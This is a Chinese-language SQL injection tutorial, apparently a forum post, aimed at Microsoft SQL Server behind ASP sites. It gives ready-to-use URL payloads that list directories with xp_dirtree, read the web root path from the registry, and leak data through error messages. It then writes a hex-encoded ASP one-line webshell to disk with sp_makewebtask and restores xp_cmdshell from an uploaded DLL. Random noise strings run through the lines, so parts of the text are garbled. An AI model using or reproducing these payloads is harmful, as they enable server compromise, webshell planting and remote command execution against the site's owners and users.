好,我们exec master..xp_dirtree'd:/test'
/ E! _% u# Y4 i2 N* a. x& `假设我们在test里有两个文件夹test1和test2在test1里又有test30 _: T) o; ?7 Z$ W% e2 [" u2 P8 p( S
结果显示* [* p/ x( w5 R5 W7 k9 u
+ v$ h- ^1 t' ?- d4 j m, z
subdirectory depth
& Q9 {. F. ?! ?4 v8 g5 C( `test1 1: f% J% u% Q* N, J4 T% \
test3 2. X3 G0 A2 `! t. f" s4 m5 p* R2 e4 r& n
test2 16 v- S. H" \: Q4 ^4 v
! U) e7 c+ M& ^. I
哈哈发现没有那个depth就是目录的级数
. y; w& L2 F1 y6 cok了,知道怎么办了吧
+ w' `3 ~, A D j) H3 _7 b* [; ?4 B. R5 t( m
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- 1 E1 c1 c. M9 d: r' R7 o, k
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
6 E# ~+ o5 v6 B% W9 R7 W, Lhttp://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-8 _# L! C% k8 }
% w" B3 {/ v5 a3 S只要加上id=1,就是第一级目录 。, \! e8 |2 d+ J- r: b
* G7 \! }! b) T6 b' T$ M. |' D: A, t
/ u, L* z8 C2 S; t) H6 I% X$ s% T" q6 |通过注册表读网站路径:
) U2 Y/ S2 g. p9 D( `4 d# v+ L% Q% [9 x2 i1 s5 q$ X; ]! }5 O
1.;create table [dbo].[cyfd] ([gyfd][char](255));
4 g8 C# P- F1 X% Z7 m
, ^8 P3 _4 M9 x. R+ T T9 r/ w2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
' e( u# h- `$ R P) i8 `id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
$ O r. w2 H$ Z: k5 P
2 i0 C+ A( ]6 V' c6 C7 T3.and 1=(select count(*) from 临时表 where 临时字段名>1)
( W- P+ q9 k) ~- q3 c0 Yand 1=(select count(*) from cyfd where gyfd > 1) 6 L9 V+ ^( e5 q: _* W& Z
这样IE报错,就把刚才插进去的Web路径的值报出来了$ J( P% Z+ S4 W, ~# E, ]9 D8 ?% v6 _2 Z' s
* S" l- r" S' y3 g T+ o4.drop table cyfd;-- 删除临时表- Y+ G- _% H! D# J) x- I8 J) I2 O1 o
+ g# \+ y5 u* {+ ?7 b/ J( K
获得webshell方法:
4 z) ? a' h2 q% y3 v1.create table cmd (a image)-- \**cmd是创建的临时表+ n: j: d% h. u- t& S" T" N. W
, O' V& h7 ~" s7 j$ o
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
" k. z# @+ u& J2 {! Y" v
9 |# ^4 ~1 P" `3 {# g; F
8 f3 m+ ^" M1 B6 l" R0 j2 q7 v- ^3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd', k0 `0 ?6 y! S& b# c
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
2 V5 ]/ m+ j; O$ z& c7 G; z" b& ^3 ?2 ^ W
4.drop table cmd;-- 删除cmd临时表
/ v! t# K8 f4 l4 e. W( n( r: H z/ ^; E. T# {
恢复xp_cmdshell方法之一:
% q/ U4 O8 h' g$ k4 v8 I我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
2 a) D7 b0 X7 {6 `( \' uhttp://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll', t5 P, ` i( `1 e
恢复,支持绝对路径的恢复哦。:)
3 E* J! E9 ~) @0 m+ O* @. D |